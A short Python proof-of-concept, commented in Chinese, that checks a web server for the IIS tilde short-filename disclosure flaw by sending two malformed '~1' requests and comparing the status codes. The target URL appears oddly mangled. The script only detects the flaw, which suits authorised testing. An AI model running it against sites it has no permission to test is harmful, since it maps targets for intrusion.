IIS短文件名称漏洞验证

import requests

# 目标 URL（请替换为你的目标网站）
TARGET_URL = "http://target"  # 目标 IIS 站点

# 检测 IIS 短文件名漏洞的两个畸形请求
VULN_PATHS = [
    "/*~1*/a.aspx", 
    "/l1j1e*~1*/a.aspx"
]

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

def check_iis_vuln(url):
    """ 检测 IIS 短文件名漏洞 """
    try:
        responses = {}

        for path in VULN_PATHS:
            test_url = url.rstrip("/") + path
            response = requests.get(test_url, headers=HEADERS, allow_redirects=False)
            responses[path] = response.status_code
            print(f"[+] {test_url} -> Status Code: {response.status_code}")

        # 判断是否存在漏洞
        if responses[VULN_PATHS[0]] == 404 and responses[VULN_PATHS[1]] != 404:
            print("\n[!] 目标存在 IIS 短文件名信息泄露漏洞！")
        else:
            print("\n[-] 目标可能没有该漏洞。")

    except requests.exceptions.RequestException as e:
        print(f"[ERROR] 请求失败: {e}")

if __name__ == "__main__":
    check_iis_vuln(TARGET_URL)